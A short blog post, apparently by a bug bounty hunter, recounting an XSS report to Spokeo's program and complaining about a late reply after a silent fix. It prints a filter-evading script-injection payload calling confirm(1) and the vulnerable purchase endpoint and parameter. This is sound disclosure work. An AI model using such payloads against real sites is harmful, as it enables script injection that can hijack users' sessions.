Spokeo Bug bounty Experience

Nur A Alam Dipu
Apr 10, 2019 · 1 min read

Recently I reported a XSS bug at spokeo bug bounty program.

I don’t want to blame the company, sometimes we face like this.

Program : https://www.spokeo.com/security

XSS Playload:
“‘ — !></Script%0C><Script%0C>confirm(1)</Script/%0C>#

Endpoint : All purchase type -> “/purchase?addr_num=6&q=6+130th+Ave+SE,+Bellevue,+WA+98005'&type=inject” parameter


— — — —-


After reported I was waiting and checking regularly is that fix or any reply. But no response. After 9 days I checked the xss been fixed. Then again message them, the issue has been fixed. Then they reply :(


Shocking response!

Question is,

Why you response after fix and 9 days later?


Thanks for reading.

Happy hunting!

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store